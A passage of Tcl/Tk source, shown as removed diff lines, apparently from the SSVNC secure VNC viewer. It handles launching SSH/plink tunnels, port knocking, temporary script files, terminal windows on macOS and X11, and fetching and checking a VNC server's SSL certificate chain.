- update
- if {$use_listen} {
- set gotit 1
- break;
- }
- set ns [get_netstat]
- set re ":$p_port"
- check_debug_netstat $p_port $ns $waited
- append re {[ ][ ]*[0:.][0:.]*[ ][ ]*LISTEN}
- if [regexp $re $ns] {
- set gotit 1
- break
- }
- set waited [expr "$waited + 500"]
- if {![file exists $flag]} {
- break
- }
- }
- catch {file delete $flag}
- if {! $gotit} {
- after 5000
- }
- }
-
- vencrypt_tutorial_mesg
-
- set wdraw 1
- #set wdraw 0
- if [info exists debug_netstat] {
- if {$debug_netstat != "" && $debug_netstat != "0"} {
- set wdraw 0
- }
- }
-
- set ff [open $flag "w"]
- puts $ff "flag"
- close $ff
-
- if {$is_win9x} {
- if {$wdraw} {
- wm withdraw .
- }
- update
- win9x_plink_msg $file
- global win9x_plink_msg_done
- set win9x_plink_msg_done 0
- vwait win9x_plink_msg_done
- } else {
- set com "cmd.exe"
- if [info exists env(COMSPEC)] {
- set com $env(COMSPEC)
- }
-
- if {$file_pre != ""} {
- set sl 0
- if {$use_smbmnt} {
- global smb_su_mode
- if {$smb_su_mode == "su"} {
- set sl [expr $sl + 15]
- } elseif {$smb_su_mode == "sudo"} {
- set sl [expr $sl + 15]
- } else {
- set sl [expr $sl + 3]
- }
- }
- if {$pw == ""} {
- set sl [expr $sl + 5]
- }
-
- set sl [expr $sl + 5]
- set st [clock seconds]
- set dt 0
- global entered_gui_top button_gui_top
- set entered_gui_top 0
- set button_gui_top 0
-
- catch {wm geometry . "-40-40"}
- catch {wm withdraw .; update; wm deiconify .; raise .; update}
- mesg "Click on *This* Label when done with 1st SSH 0/$sl"
- after 600
-
- global env
- if [info exists env(SSVNC_BAT_SLEEP)] {
- exec $com /c start $com /c $file_pre &
- } else {
- exec $com /c $file_pre &
- }
-
- catch {lower .; update; raise .; update}
-
- while {$dt < $sl} {
- after 100
- set dt [clock seconds]
- set dt [expr $dt - $st]
- mesg "Click on *This* Label when done with 1st SSH $dt/$sl"
- update
- update idletasks
- if {$dt <= 1} {
- set button_gui_top 0
- }
- if {$button_gui_top != 0 && $dt >= 3} {
- mesg "Running 2nd SSH now ..."
- after 1000
- break
- }
- }
- mesg "Running 2nd SSH ..."
- }
-
- if {! $do_shell} {
- make_plink
- }
- if {$wdraw} {
- wm withdraw .
- }
-
- update
- if {$do_shell && [regexp {FINISH} $port_knocking_list]} {
- catch {exec $com /c $file}
- } else {
- global env
- if [info exists env(SSVNC_BAT_SLEEP)] {
- exec $com /c start $com /c $file &
- } else {
- exec $com /c $file &
- }
- }
- after 1000
- }
-
- if {$do_shell} {
- wm deiconify .
- update
- if {[regexp {FINISH} $port_knocking_list]} {
- do_port_knock $ssh_host finish
- }
- return 1
- }
- set made_plink 0
- if {$is_win9x} {
- make_plink
- set made_plink 1
- }
- global plink_status
- set plink_status ""
- set waited 0
- set cnt 0
- while {$waited < 30000} {
- after 500
- update
- if {$use_listen} {
- set plink_status yes
- break;
- }
- set ns [get_netstat]
- set re ":$use"
- check_debug_netstat $use $ns $waited
- append re {[ ][ ]*[0:.][0:.]*[ ][ ]*LISTEN}
- if [regexp $re $ns] {
- set plink_status yes
- }
- if {$plink_status != ""} {
- catch {destroy .plink}
- break
- }
-
- if {$waited == 0} {
- #wm deiconify .plink
- }
- set waited [expr "$waited + 500"]
-
- incr cnt
- if {$cnt >= 12} {
- set cnt 0
- }
- if {![file exists $flag]} {
- set plink_status flag_gone
- break
- }
- }
- catch {file delete $flag}
- if {$plink_status == ""} {
- if {! $made_plink} {
- make_plink
- set made_plink 1
- }
- vwait plink_status
- }
-
- if {$use_sshssl} {
- global launch_windows_ssh_files
- if {$file != ""} {
- append launch_windows_ssh_files "$file "
- }
- if {$file_pre != ""} {
- append launch_windows_ssh_files "$file_pre "
- }
- if {$file_pre_cmd != ""} {
- append launch_windows_ssh_files "$file_pre_cmd "
- }
- regsub { *$} $launch_windows_ssh_files "" launch_windows_ssh_files
- return 1
- }
-
- if {$plink_status != "yes"} {
- set m "unknown"
- if {$plink_status == "flag_gone"} {
- set m "plink script failed"
- } elseif {$plink_status == ""} {
- set m "timeout"
- }
- mesg "Error ($m) to $hp"
- wm deiconify .
- } else {
- after 1000
- do_viewer_windows $n
- wm deiconify .
- mesg "Disconnected from $hp"
- }
- update
- if [regexp {FINISH} $port_knocking_list] {
- do_port_knock $ssh_host finish
- }
-
- if {![info exists env(SSVNC_NO_DELETE)]} {
- if {$file != ""} {
- catch {file delete $file}
- }
- if {$file_pre != ""} {
- catch {file delete $file_pre}
- }
- if {$file_pre_cmd != ""} {
- catch {file delete $file_pre_cmd}
- }
- if {$file_double != ""} {
- catch {file delete $file_double}
- }
- }
-
- winkill $ssh_ipv6_pid
- set ssh_ipv6_pid ""
-
- global sound_daemon_local_kill
- if {! $is_win9x && $use_sound && $sound_daemon_local_kill && $sound_daemon_local_cmd != ""} {
- windows_stop_sound_daemon
- }
- return 1
-}
-
-proc check_ssh_needed {} {
- globalize
-
- if {$use_ssh || $use_sshssl} {
- return
- }
- set must_cups 0
- set must_snd 0
- set must_smb 0
- set must_addl 0
- if {$use_cups} {
- if {$cups_local_server != ""} {set must_cups 1}
- if {$cups_remote_port != ""} {set must_cups 1}
- if {$cups_local_smb_server != ""} {set must_cups 1}
- if {$cups_remote_smb_port != ""} {set must_cups 1}
- if {$cups_manage_rcfile != ""} {set must_cups 1}
- }
- if {$use_sound} {
- if {$sound_daemon_remote_cmd != ""} {set must_snd 1}
- if {$sound_daemon_remote_port != ""} {set must_snd 1}
- if {$sound_daemon_kill} {set must_snd 1}
- if {$sound_daemon_restart} {set must_snd 1}
- if {$sound_daemon_local_cmd != ""} {set must_snd 1}
- if {$sound_daemon_local_port != ""} {set must_snd 1}
- if {$sound_daemon_local_kill} {set must_snd 1}
- if {$sound_daemon_local_start} {set must_snd 1}
- }
- if {$use_smbmnt} {
- if {[regexp {//} $smb_mount_list]} {set must_smb 1}
- }
- if {$additional_port_redirs} {
- set must_addl 1
- }
- if {$must_cups || $must_snd || $must_smb || $must_addl} {
- mesg "Cannot do Port redirs in non-SSH mode (SSL)"
- set msg ""
- if {$must_smb} {
- append msg " - SMB Mount Port Redirection\n"
- }
- if {$must_snd} {
- append msg " - ESD Sound Port Redirection\n"
- }
- if {$must_cups} {
- append msg " - CUPS Port Redirection\n"
- }
- if {$must_addl} {
- append msg " - Additional Port Redirections\n"
- }
- set msg "\"Use SSL\" mode selected (no SSH)\nThe following options will be disabled:\n\n$msg"
- bell
- update
- raise .
- tk_messageBox -type ok -icon info -message $msg
- }
-}
-
-proc set_smb_mounts {} {
- global smb_redir_0 smb_mounts use_smbmnt
-
- set smb_redir_0 ""
- set smb_mounts ""
- if {$use_smbmnt} {
- set l2 [get_smb_redir]
- set smb_redir_0 [lindex $l2 0]
- set smb_redir_0 [string trim $smb_redir_0]
- set smb_mounts [lindex $l2 1]
- }
-}
-
-proc mytmp {tmp} {
- global is_windows mktemp env
-
- if {$is_windows} {
- return $tmp
- }
-
- if {! [info exists mktemp]} {
- set mktemp ""
- foreach dir {/bin /usr/bin /usr/local/bin} {
- if [file exists "$dir/mktemp"] {
- set mktemp "$dir/mktemp"
- break
- }
- }
- }
- if {$mktemp != ""} {
- set tmp2 ""
- catch {set tmp2 [exec $mktemp "$tmp.XXXXXX"]}
- if [file exists $tmp2] {
- if [info exists env(DEBUG_MKTEMP)] {
- puts stderr "mytmp: $tmp2"
- }
- return $tmp2
- }
- }
- catch {exec rm -f $tmp}
- catch {file delete $tmp}
- if [file exists $tmp] {
- puts stderr "tmp file still exists: $tmp"
- exit 1
- }
- catch {exec touch $tmp}
- catch {exec chmod 600 $tmp}
- if [info exists env(DEBUG_MKTEMP)] {
- puts stderr "mytmp: $tmp"
- }
- return $tmp
-}
-
-proc darwin_terminal_cmd {{title ""} {cmd ""} {bg 0}} {
- global darwin_terminal
-
- set tries ""
- lappend tries "/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal"
-
- if {! [info exists darwin_terminal]} {
- foreach try $tries {
- if [file exists $try] {
- if [file executable $try] {
- set darwin_terminal $try
- break
- }
- }
- }
- if {! [info exists darwin_terminal]} {
- set fh ""
- catch {set fh [open "| find /Applications -type f -name Terminal" "r"]}
- if {$fh != ""} {
- while {[gets $fh line] > -1} {
- if {! [file exists $line]} {
- continue
- }
- if {[file isdirectory $line]} {
- continue
- }
- if {! [regexp {/Terminal$} $line]} {
- continue
- }
- if {! [file executable $line]} {
- continue
- }
- set darwin_terminal $line
- break
- }
- close $fh
- }
- }
- }
- if {! [info exists darwin_terminal]} {
- raise .
- tk_messageBox -type ok -icon error -message "Cannot find Darwin Terminal program." -title "Cannot find Terminal program"
- mac_raise
- return
- }
-
- global darwin_terminal_cnt
- set tmp /tmp/darwin_terminal_cmd.[tpid]
- if {! [info exists darwin_terminal_cnt]} {
- set darwin_terminal_cnt 0
- }
- incr darwin_terminal_cnt
- append tmp ".$darwin_terminal_cnt"
- set tmp [mytmp $tmp]
-
- set fh ""
- catch {set fh [open $tmp w 0755]}
- catch {[exec chmod 755 $tmp]}
- if {$fh == ""} {
- raise .
- tk_messageBox -type ok -icon error -message "Cannot open temporary file: $tmp" -title "Cannot open file"
- mac_raise
- return
- }
- global env
- puts $fh "#!/bin/sh"
- puts $fh "PATH=$env(PATH)"
- puts $fh "export PATH"
- puts $fh "tmp=$tmp"
- puts $fh "sleep 1"
- puts $fh {if [ "X$DDDBG" != "X" ]; then ps www; fi}
- puts $fh {termpid=`ps www | grep -w Terminal | grep $tmp | grep -v grep | awk '{print $1}' | sort -n | tail -1`}
- puts $fh {echo try-1: termpid=$termpid mypid=$$}
- puts $fh {if [ "X$termpid" = "X" ]; then}
- puts $fh { termpid=`ps www | grep -w Terminal | grep -v grep | awk '{print $1}' | sort -n | tail -1`}
- puts $fh { echo try-2: termpid=$termpid mypid=$$}
- puts $fh {fi}
- puts $fh {if [ "X$termpid" = "X" ]; then}
- puts $fh { termpid=`ps wwwwaux | grep -w Terminal | grep $tmp | grep -v grep | awk '{print $2}' | sort -n | tail -1`}
- puts $fh { echo try-3: termpid=$termpid mypid=$$}
- puts $fh {fi}
- puts $fh {if [ "X$termpid" = "X" ]; then}
- puts $fh { termpid=$$}
- puts $fh { echo termpid-find-fail: termpid=$termpid mypid=$$}
- puts $fh {fi}
- puts $fh {trap "rm -f $tmp; kill -TERM $termpid; kill -TERM $mypid; kill -KILL $mypid; exit 0" 0 2 15}
- puts $fh {osascript -e 'tell application "Terminal" to activate' >/dev/null 2>&1 &}
- puts $fh "$cmd"
- puts $fh "sleep 1"
- puts $fh {rm -f $tmp}
- puts $fh {kill -TERM $termpid}
- puts $fh {kill -TERM $mypid}
- puts $fh {kill -KILL $mypid}
- puts $fh "exit 0"
- close $fh
- if {$bg} {
- catch {exec $darwin_terminal $tmp &}
- } else {
- catch {exec $darwin_terminal $tmp}
- }
-}
-
-proc unix_terminal_cmd {{geometry "+100+100"} {title "xterm-command"} {cmd "echo test"} {bg 0} {xrm1 ""} {xrm2 ""} {xrm3 ""}} {
- global uname env
- if {$uname == "Darwin"} {
- global env
- set doX 0;
- if {! $doX} {
- darwin_terminal_cmd $title $cmd $bg
- return
- }
- }
-
- global checked_for_xterm
- if {![info exists checked_for_xterm]} {
- set p ""
- set r [catch {set p [exec /bin/sh -c {type xterm}]}]
- set checked_for_xterm 1
- if {$r != 0} {
- set p [exec /bin/sh -c {type xterm 2>&1; exit 0}]
- set txt "Problem finding the 'xterm' command:\n\n$p\n\n"
- append txt "Perhaps you need to install a package containing 'xterm' (Sigh...)\n\n"
- fetch_dialog $txt "xterm" "xterm" 0 [line_count $txt]
- update
- after 1000
- catch {tkwait window .fetch}
- update
- }
- }
-
- if [info exists env(SSVNC_XTERM_REPLACEMENT)] {
- set tcmd $env(SSVNC_XTERM_REPLACEMENT)
- if {$tcmd != ""} {
- regsub -all {%GEOMETRY} $tcmd $geometry tcmd
- regsub -all {%TITLE} $tcmd $title tcmd
-
- set tmp1 /tmp/xterm_replacement1.[tpid]
- set tmp1 [mytmp $tmp1]
- set fh1 ""
- catch {set fh1 [open $tmp1 "w"]}
-
- set tmp2 /tmp/xterm_replacement2.[tpid]
- set tmp2 [mytmp $tmp2]
- set fh2 ""
- catch {set fh2 [open $tmp2 "w"]}
- if {$fh1 != "" && $fh2 != ""} {
- puts $fh1 "#!/bin/sh";
- puts $fh1 "$cmd"
- puts $fh1 "rm -f $tmp1"
- close $fh1
- catch {exec chmod 755 $tmp1}
- puts $fh2 "#!/bin/sh"
- puts $fh2 "$tcmd $tmp1"
- puts $fh2 "rm -f $tmp2"
- close $fh2
- catch {exec chmod 755 $tmp2}
- if {$bg} {
- exec $tmp2 2>@stdout &
- } else {
- exec $tmp2 2>@stdout
- }
- return
- }
- catch {close $fh1}
- catch {close $fh2}
- }
- }
-
- if {$bg} {
- if {$xrm1 == ""} {
- exec xterm -sb -sl 2000 -geometry "$geometry" -title "$title" -e sh -c "$cmd" 2>@stdout &
- } else {
- exec xterm -sb -sl 2000 -geometry "$geometry" -title "$title" -xrm "$xrm1" -xrm "$xrm2" -xrm "$xrm3" -e sh -c "$cmd" 2>@stdout &
- }
- } else {
- if {$xrm1 == ""} {
- exec xterm -sb -sl 2000 -geometry "$geometry" -title "$title" -e sh -c "$cmd" 2>@stdout
- } else {
- exec xterm -sb -sl 2000 -geometry "$geometry" -title "$title" -xrm "$xrm1" -xrm "$xrm2" -xrm "$xrm3" -e sh -c "$cmd" 2>@stdout
- }
- }
-}
-
-proc xterm_center_geometry {} {
- set sh [winfo screenheight .]
- set sw [winfo screenwidth .]
- set gw 500
- set gh 300
- set x [expr $sw/2 - $gw/2]
- set y [expr $sh/2 - $gh/2]
- if {$x < 0} {
- set x 10
- }
- if {$y < 0} {
- set y 10
- }
-
- return "+$x+$y"
-}
-
-proc smbmnt_wait {tee} {
- if {$tee != ""} {
- set start [clock seconds]
- set cut 30
- while {1} {
- set now [clock seconds]
- if {$now > $start + $cut} {
- break;
- }
- if [file exists $tee] {
- set sz 0
- catch {set sz [file size $tee]}
- if {$sz > 50} {
- set cut 50
- }
- }
- set g ""
- catch {set g [exec grep main-vnc-helper-finished $tee]}
- if [regexp {main-vnc-helper-finished} $g] {
- break
- }
- after 1000
- }
- catch {file delete $tee}
- } else {
- global smb_su_mode
- if {$smb_su_mode == "su"} {
- after 15000
- } elseif {$smb_su_mode == "sudo"} {
- after 10000
- }
- }
-}
-
-proc do_unix_pre {tag proxy hp pk_hp} {
- global env smb_redir_0 use_smbmnt
- global did_port_knock
-
- set setup_cmds [ugly_setup_scripts pre $tag]
- set c "ss_vncviewer -ssh"
-
- if {$proxy == ""} {
- set pxy $hp
- regsub {:[0-9][0-9]*$} $pxy "" pxy
- set c "$c -proxy '$pxy'"
- } else {
- set c "$c -proxy '$proxy'"
- }
-
- if {$setup_cmds != ""} {
- set env(SS_VNCVIEWER_SSH_CMD) "$setup_cmds sleep 10"
- set env(SS_VNCVIEWER_SSH_ONLY) 1
- if {$smb_redir_0 != ""} {
- set c "$c -sshargs '$smb_redir_0'"
- }
-
- if {! [do_port_knock $pk_hp start]} {
- return
- }
- set did_port_knock 1
-
- if {$use_smbmnt} {
- set title "SSL/SSH VNC Viewer $hp -- SMB MOUNTS"
- } else {
- set title "SSL/SSH VNC Viewer $hp -- Pre Commands"
- }
-
- set tee ""
- if {$use_smbmnt} {
- set tee $env(SSVNC_HOME)
- append tee "/.tee-etv$tag"
- set fh ""
- catch {set fh [open $tee "w"]}
- if {$fh == ""} {
- set tee ""
- } else {
- close $fh
- set c "$c | tee $tee"
- }
- }
-
- unix_terminal_cmd "80x25+100+100" "$title" "set -xv; $c" 1
-
- set env(SS_VNCVIEWER_SSH_CMD) ""
- set env(SS_VNCVIEWER_SSH_ONLY) ""
-
- if {$use_smbmnt} {
- smbmnt_wait $tee
- } else {
- after 2000
- }
- }
-}
-proc init_vncdisplay {} {
- global vncdisplay vncproxy remote_ssh_cmd
- set vncdisplay [string trim $vncdisplay]
-
- if {$vncdisplay == ""} {
- set vncproxy ""
- set remote_ssh_cmd ""
- return
- }
-
- set hpnew [get_ssh_hp $vncdisplay]
- set proxy [get_ssh_proxy $vncdisplay]
- set sshcmd [get_ssh_cmd $vncdisplay]
-
- set vncdisplay $hpnew
- set vncproxy $proxy
- set remote_ssh_cmd $sshcmd
-
- global ssh_only ts_only
- if {$sshcmd != "" || $ssh_only || $ts_only} {
- global use_ssl use_ssh use_sshssl
- set use_ssl 0
- if {! $use_ssh && ! $use_sshssl} {
- set use_ssh 1
- }
- }
- # ssl_ssh_adjust will be called.
-}
-
-proc get_vncdisplay {} {
- global vncdisplay vncproxy remote_ssh_cmd
- set vncdisplay [string trim $vncdisplay]
-
- set t $vncdisplay
- regsub {[ \t]*cmd=.*$} $t "" t
- set t [string trim $t]
-
- set str ""
- if [regexp {[ \t]} $t] {
- set str $t
- } else {
- if {$vncproxy != "" && $t == ""} {
- set str "--nohost-- $vncproxy"
- } else {
- set str "$t $vncproxy"
- }
- }
- if [regexp {cmd=.*$} $vncdisplay match] {
- if {$str == ""} {
- set str "--nohost--"
- }
- set str "$str $match"
- } else {
- if {$remote_ssh_cmd != ""} {
- if {$str == ""} {
- set str "--nohost--"
- }
- set str "$str cmd=$remote_ssh_cmd"
- }
- }
- set str [string trim $str]
- return $str
-}
-
-proc port_knock_only {hp {mode KNOCK}} {
- if {$hp == ""} {
- set hp [get_vncdisplay]
- if {$hp == ""} {
- mesg "No host port found"
- bell
- return
- }
- }
- set hpnew [get_ssh_hp $hp]
- set proxy [get_ssh_proxy $hp]
- set sshcmd [get_ssh_cmd $hp]
- set hp $hpnew
-
- set pk_hp ""
- if {$proxy != ""} {
- set pk_hp $proxy
- }
- if {$pk_hp == ""} {
- set pk_hp $hp
- }
- if {$mode == "KNOCK"} {
- do_port_knock $pk_hp start
- } elseif {$mode == "FINISH"} {
- do_port_knock $pk_hp finish
- }
-}
-
-proc direct_connect_msg {} {
- set msg ""
- global env
- globalize
- if {$use_sshssl} {
- append msg " - SSH + SSL tunnelling\n"
- } elseif {$use_ssh} {
- append msg " - SSH tunnelling\n"
- } else {
- append msg " - SSL tunnelling\n"
- }
- if [info exists env(SSVNC_NO_ENC_WARN)] {
- set msg ""
- }
- if {$use_smbmnt} {
- append msg " - SMB Mount Port Redirection\n"
- }
- if {$use_sound} {
- append msg " - ESD Sound Port Redirection\n"
- }
- if {$use_cups} {
- append msg " - CUPS Port Redirection\n"
- }
- if {$additional_port_redirs} {
- append msg " - Additional Port Redirections\n"
- }
- if {$mycert != "" || $svcert != "" || $crtdir != ""} {
- append msg " - SSL certificate authentication\n"
- }
- if {$msg != ""} {
- set msg "Direct connect via vnc://hostname\nThe following options will be disabled:\n\n$msg"
- raise .
- tk_messageBox -type ok -icon info -message $msg
- }
-}
-
-proc fetch_cert {save} {
- global env vncdisplay is_windows
- set hp [get_vncdisplay]
-
- global vencrypt_detected
- set vencrypt_detected ""
-
- global use_listen
- if {$use_listen} {
- if {$is_windows} {
- mesg "Fetch Cert not enabled for Reverse Connections"
- bell
- catch {raise .}
- mac_raise
- return
- }
- toplev .fcr
- global help_font
- wm title .fcr "Fetch Cert for Reverse Connections"
- global fcr_result
- set fcr_result 0
- eval text .fcr.t -width 55 -height 17 $help_font
- .fcr.t insert end {
- In Reverse VNC Connections (-LISTEN) mode, the
- Fetch Cert operation requires that the Remote
- VNC Server makes an initial connection NOW so
- we can collect its SSL Certificate. Note that
- this method does not work for VeNCrypt servers.
- (If there are problems Fetching, one can always
- copy and import the Cert file manually.)
-
- Do you want to Continue with this operation?
- If so, press "Continue" and Then instruct the
- remote VNC Server to make a Reverse Connection
- to us.
-
- Otherwise, press "Cancel" to cancel the Fetch
- Cert operation.
-}
-
- button .fcr.cancel -text Cancel -command {set fcr_result 0; destroy .fcr}
- button .fcr.continue -text Continue -command {set fcr_result 1; destroy .fcr}
- button .fcr.continu2 -text Continue -command {set fcr_result 1; destroy .fcr}
- global uname
- if {$uname == "Darwin"} {
- pack .fcr.t .fcr.continu2 .fcr.continue .fcr.cancel -side top -fill x
-
- } else {
- pack .fcr.t .fcr.continue .fcr.cancel -side top -fill x
- }
- center_win .fcr
-
- tkwait window .fcr
- update
- after 50
-
- if {$fcr_result != 1} {
- return
- }
- update idletasks
- after 50
- }
-
- regsub {[ ]*cmd=.*$} $hp "" tt
- if {[regexp {^[ ]*$} $tt]} {
- mesg "No host:disp supplied."
- bell
- catch {raise .}
- mac_raise
- return
- }
- if {[regexp -- {--nohost--} $tt]} {
- mesg "No host:disp supplied."
- bell
- catch {raise .}
- mac_raise
- return
- }
- if {! [regexp ":" $hp]} {
- if {! [regexp {cmd=} $hp]} {
- append hp ":0"
- }
- }
- set hpnew [get_ssh_hp $hp]
- set proxy [get_ssh_proxy $hp]
-
-
- set pstr 1
- mesg "Fetching $hpnew Cert..."
- global cert_text
- set cert_text ""
- .f4.getcert configure -state disabled
- update
- if {! $is_windows} {
- catch {set cert_text [fetch_cert_unix $hp]}
- } else {
- set cert_text [fetch_cert_windows $hp]
- }
-
- if [info exists env(CERTDBG)] {puts "\nFetch-0-\n$cert_text"}
-
- set vencrypt 0
- set anondh 0
- if {![regexp {BEGIN CERTIFICATE} $cert_text]} {
- if [regexp {CONNECTED} $cert_text] {
- set m 0
- if {![regexp -nocase {GET_SERVER_HELLO} $cert_text]} {
- set m 1
- }
- if [regexp -nocase -line {GET_SERVER_HELLO.*unknown protocol} $cert_text] {
- set m 1
- }
- if {![regexp -nocase {show_cert: SSL_connect failed} $cert_text]} {
- set m 1
- }
- if {!$m && $is_windows} {
- if [regexp -nocase {write:errno} $cert_text] {
- if [regexp -nocase {no peer certificate} $cert_text] {
- set m 1
- }
- }
- }
- if {$m} {
- # suspect VeNCrypt or ANONTLS plaintext RFB
- set cert_text ""
- set vencrypt 1
- incr pstr
- mesg "#${pstr} Fetching $hpnew Cert... $vencrypt/$anondh"
- if {! $is_windows} {
- catch {set cert_text [fetch_cert_unix $hp $vencrypt $anondh]}
- } else {
- after 600
- catch {set cert_text [fetch_cert_windows $hp $vencrypt $anondh]}
- }
- if [info exists env(CERTDBG)] {puts "\nFetch-1-\n$cert_text"}
- }
- }
- }
- if {![regexp {BEGIN CERTIFICATE} $cert_text]} {
- if [regexp {CONNECTED} $cert_text] {
- set m 0
- if [regexp -nocase -line {error.*handshake failure} $cert_text] {
- set m 1
- }
- if [regexp -nocase -line {error.*unknown protocol} $cert_text] {
- set m 1
- }
- if {![regexp -nocase {show_cert: SSL_connect failed} $cert_text]} {
- set m 1
- }
- if {!$m && $is_windows} {
- if [regexp -nocase {no peer certificate} $cert_text] {
- set m 1
- }
- }
- if {$m} {
- # suspect Anonymous Diffie Hellman
- set cert_text ""
- set anondh 1
- incr pstr
- mesg "#${pstr} Fetching $hpnew Cert... $vencrypt/$anondh"
- if {! $is_windows} {
- catch {set cert_text [fetch_cert_unix $hp $vencrypt $anondh]}
- } else {
- after 600
- catch {set cert_text [fetch_cert_windows $hp $vencrypt $anondh]}
- }
- if [info exists env(CERTDBG)] {puts "\nFetch-2-\n$cert_text"}
- }
- }
- }
- if {![regexp {BEGIN CERTIFICATE} $cert_text]} {
- if [regexp {CONNECTED} $cert_text] {
- if {[regexp -nocase -line {cipher.*ADH} $cert_text]} {
- # it is Anonymous Diffie Hellman
- mesg "WARNING: Anonymous Diffie Hellman Server detected (NO CERT)"
- after 300
- .f4.getcert configure -state normal
- return $cert_text
- } else {
- global vencrypt_detected
- set vencrypt_detected ""
- }
- }
- }
-
- global vencrypt_detected server_vencrypt
- if {$vencrypt_detected != "" && !$server_vencrypt} {
- mesg "VeNCrypt or ANONTLS server detected."
- after 600
- }
-
- .f4.getcert configure -state normal
- mesg "Fetched $hpnew Cert"
-
- set n 47
- set ok 1
- if {$cert_text == ""} {
- set cert_text "An Error occurred in fetching SSL Certificate from $hp"
- set ok 0
- set n 4
- } elseif {! [regexp {BEGIN CERTIFICATE} $cert_text]} {
- set cert_text "An Error occurred in fetching $hp\n\n$cert_text"
- set n [line_count $cert_text 1]
- set ok 0
- } else {
- if [regexp -- {-----BEGIN SSL SESSION PARAMETERS-----} $cert_text] {
- set new ""
- set off 0
- foreach line [split $cert_text "\n"] {
- if [regexp -- {RFB 00} $line] {
- continue
- }
- if [regexp -- {Using default temp} $line] {
- continue
- }
- if [regexp -- {-----BEGIN SSL SESSION PARAMETERS-----} $line] {
- set off 1
- }
- if [regexp -- {-----END SSL SESSION PARAMETERS-----} $line] {
- set off 0
- continue
- }
- if {$off} {
- continue;
- }
- append new "$line\n"
- }
- if [regexp -- {-----BEGIN CERTIFICATE-----} $new] {
- set cert_text $new
- }
- }
- set text ""
- set on 0
- set subject ""
- set curr_subject ""
- set chain_n -1
- set chain(__empty__) ""
- foreach line [split $cert_text "\n"] {
- if [regexp -- {-----BEGIN CERTIFICATE-----} $line] {
- incr on
- }
- if {$chain_n < -1} {
- ;
- } elseif [regexp {^ *([0-9]) *s:(.*/[A-Z][A-Z]*=.*$)} $line m cn sb] {
- set cn [string trim $cn]
- set sb [string trim $sb]
- #puts cn=$cn
- #puts sb=$sb
- if {$subject == ""} {
- set subject $sb
- }
- if {$cn > $chain_n} {
- set chain_n $cn
- set curr_subject $sb
- } else {
- set chain_n -2
- }
- } elseif [regexp {^ *i:(.*/[A-Z][A-Z]*=.*$)} $line m is] {
- set is [string trim $is]
- #puts is=$is
- if {$curr_subject != ""} {
- set chain($curr_subject) $is
- }
- }
- if {$on != 1} {
- continue;
- }
- append text "$line\n"
- if [regexp -- {-----END CERTIFICATE-----} $line] {
- set on 2
- }
- }
- set chain_str "subject: not-known\n"
- set curr_subject $subject
- set self_signed 0
- set top_issuer ""
- for {set i 0} {$i < 10} {incr i} {
- if {$curr_subject != ""} {
- if {$i == 0} {
- set chain_str "- subject: $curr_subject\n\n"
- } else {
- set chain_str "${chain_str}- issuer$i: $curr_subject\n\n"
- set top_issuer $curr_subject;
- }
- if {![info exists chain($curr_subject)]} {
- break
- } elseif {$chain($curr_subject) == ""} {
- break
- } elseif {$curr_subject == $chain($curr_subject)} {
- set j [expr $i + 1]
- set chain_str "${chain_str}- issuer$j: $curr_subject\n\n"
- set top_issuer $curr_subject;
- if {$i == 0} {
- set self_signed 1
- }
- break;
- }
- set curr_subject $chain($curr_subject)
- }
- }
- set chain_str "${chain_str}INFO: SELF_SIGNED=$self_signed\n\n"
- if {$self_signed} {
- set chain_str "${chain_str}INFO: Certificate is Self-Signed.\n"
- set chain_str "${chain_str}INFO: It will successfully authenticate when used as a ServerCert or Accepted-Cert.\n"
- set chain_str "${chain_str}INFO: Be sure to check carefully that you trust this certificate before saving it.\n"
- } else {
- set chain_str "${chain_str}INFO: Certificate is signed by a Certificate Authority (CA).\n"
- set chain_str "${chain_str}INFO: It *WILL NOT* successfully authenticate when used as a ServerCert or Accepted-Cert.\n"
- set chain_str "${chain_str}INFO: You need to Obtain and Save the CA's Certificate (issuer) instead"
- if {$top_issuer != ""} {
- set chain_str "${chain_str}:\nINFO: CA: $top_issuer\n"
- } else {
- set chain_str "${chain_str}.\n"
- }
- }
- #puts "\n$chain_str\n"
-
- global is_windows
- set tmp "/tmp/cert.hsh.[tpid]"
- set tmp [mytmp $tmp]
- if {$is_windows} {
- # VF
- set tmp cert.hsh
- }
- set fh ""
- catch {set fh [open $tmp "w"]}
- if {$fh != ""} {
- puts $fh $text
- close $fh
- set info ""
- catch {set info [get_x509_info $tmp]}
- catch {file delete $tmp}
- if [regexp -nocase {MD5 Finger[^\n]*} $info mvar] {
- set cert_text "$mvar\n\n$cert_text"
- }
- if [regexp -nocase {SHA. Finger[^\n]*} $info mvar] {
- set cert_text "$mvar\n\n$cert_text"
- }
- set cert_text "$cert_text\n\n----------------------------------\nOutput of openssl x509 -text -fingerprint:\n\n$info"
- }
- set cert_text "==== SSL Certificate from $hp ====\n\n$chain_str\n$cert_text"
- }
-
- if {! $save} {
- return $cert_text
- }
-
- fetch_dialog $cert_text $hp $hpnew $ok $n
-}
-
-proc skip_non_self_signed {w hp} {
- set msg "Certificate from $hp is not Self-Signed, it was signed by a Certificate Authority (CA). Saving it does not make sense because it cannot be used to authenticate anything. You need to Obtain and Save the CA Certificate instead. Save it anyway?"
- set reply [tk_messageBox -type okcancel -default cancel -parent $w -icon warning -message $msg -title "CA Signed Certificate"]
- if {$reply == "cancel"} {
- return 1
- } else {
- return 0
- }
-}
-
-proc fetch_dialog {cert_text hp hpnew ok n} {
- toplev .fetch
-
- if [small_height] {
- set n 28
- }
-
- scroll_text_dismiss .fetch.f 90 $n
-
- if {$ok} {
- set ss 0
- if [regexp {INFO: SELF_SIGNED=1} $cert_text] {
- button .fetch.save -text Save -command "destroy .fetch; save_cert {$hpnew}"
- set ss 1
- } else {
- button .fetch.save -text Save -command "if \[skip_non_self_signed .fetch {$hpnew}\] {return} else {destroy .fetch; save_cert {$hpnew}}"
- set ss 0
- }
- button .fetch.help -text Help -command "help_fetch_cert $ss"
- pack .fetch.help .fetch.save -side bottom -fill x
- .fetch.d configure -text "Cancel"
- }
-
- center_win .fetch
- wm title .fetch "$hp Certificate"
-
- .fetch.f.t insert end $cert_text
- jiggle_text .fetch.f.t
-}
-
-
-proc host_part {hp} {
- regsub {^ *} $hp "" hp
- regsub { .*$} $hp "" hp
- if [regexp {^[0-9][0-9]*$} $hp] {
- return ""
- }
- set h $hp
- regsub {:[0-9][0-9]*$} $hp "" h
- return $h
-}
-
-proc port_part {hp} {
- regsub { .*$} $hp "" hp
- set p ""
- if [regexp {:([0-9][0-9]*)$} $hp m val] {
- set p $val
- }
- return $p
-}
-
-proc get_vencrypt_proxy {hpnew} {
